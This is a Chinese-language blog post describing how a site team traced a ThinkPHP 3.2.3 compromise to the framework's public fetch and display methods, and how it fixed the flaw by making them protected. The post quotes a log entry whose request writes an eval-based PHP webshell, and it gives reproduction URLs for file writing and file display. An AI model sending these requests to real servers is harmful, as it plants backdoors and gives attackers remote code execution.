記一次tp3.2.3因fetch導致的漏洞處理過程

參考:https://www.phpmianshi.com/?id=108

 

問題描述:

 

最近發現百度收錄大幅度下降,並出現大量5xx錯誤,有些收錄頁面直接跳轉到其他網站,如下圖:

圖片.png

 

 

問題追查

1.根據以往經驗首先懷疑網站被植入或者掛馬

          於是排查系統日誌,因爲php項目的植入基本是通過eval植入的,所以我們直接:

          grep eval   nginx.log   發現類似如下日誌:

{ "@timestamp": "02/Jun/2020:22:26:21 +0800", "remote_addr": "10.105.193.11", "referer": "-", "request": "GET 
/?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('hmseo.php','<?php%20@eval($_POST[hm]);?>hmseo')</php>
 HTTP/1.1", "status": 200, "bytes": 5, "agent": "Mozilla/4.0 
(compatible; MSIE 9.0; Windows NT 6.1)", "x_forwarded": 
"185.207.155.138, 10.105.193.84", "up_addr": "unix:/tmp/php-cgi.sock","up_host": "-","up_resp_time": "0.021","request_time": "0.020" }

2.根據日誌基本確定就是被植入了,結合我們網站和wap使用的框架,確定這是tp3.2.3的漏洞

            漏洞概述


            遠程攻擊者在無需任何權限情況下,可利用此漏洞構造惡意的url,向服務器寫入任意內容的文件,達到getshell的目的。

 

    ​    ​    ​一共有兩種方式植入:
    ​    ​    ​第一種是通過構造a參數的fetch方法,可以不需要知道文件路徑就可以把php代碼寫入文件

    ​    ​    ​fetch函數的作用是獲取頁面內容,調用內置模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中當key和value可控時便可以形成模板注入。這裏fetch函數的三個參數分別對應模板文件,輸出內容,模板緩存前綴。利用時templateFile和prefix參數可以爲空,在content參數傳入待注入的php代碼即可getshell

    ​    ​    ​第二種是通過構造a參數的display方法,實現任意內容包含漏洞

    ​    ​  ​display函數的作用是加載模板和頁面輸出

          所對應的參數爲:
    ​    ​  ​$templateFile 指定要調用的模板文件

    ​    ​  ​$charset 模板輸出字符集

    ​    ​  $contentType 輸出類型,$content 模板輸出內容。

    ​    ​  ​templateFile參數會經過parseTemplate函數處理,判斷模板是否存在,當模板不存在時會在當前目錄下開始查找,然後調用Thinkphp Controller 函數的display方法


 

3.實戰演練

         我們通過fetch方法構造url如下:www.phpmianshi.com/?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>

         然後執行上面的url就可以在項目目錄寫入test.php  打印服務器的phpinfo信息,打開 www.phpmianshi.com/test.php 發現可以直接看到phpinfo

 

    ​    ​我們通過display方法構造url如下:www.phpmianshi.com/?a=display&templateFile=phpmianshi.txt

         然後執行上面的url就可以直接顯示phpmianshi.txt的內容

 

         根據ThinkPHP框架規則,可以通過 g\m\a 參數指定分組(group)\模塊(model)\動作或方法(action),我們打開 Application\Common\Controller 路徑下的 BaseController.class.php 可以看到通過a參數直接調的這幾個權限爲 public 的方法

 

解決方案

1.這邊有問題的是display函數和fetch函數,display 和 fetch 函數的修飾符改爲 protected  即可修復

2. 修復完成後,我們再執行 第三步:實戰演練中的操作,發現不會再有植入的代碼,說明修復成功

 

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章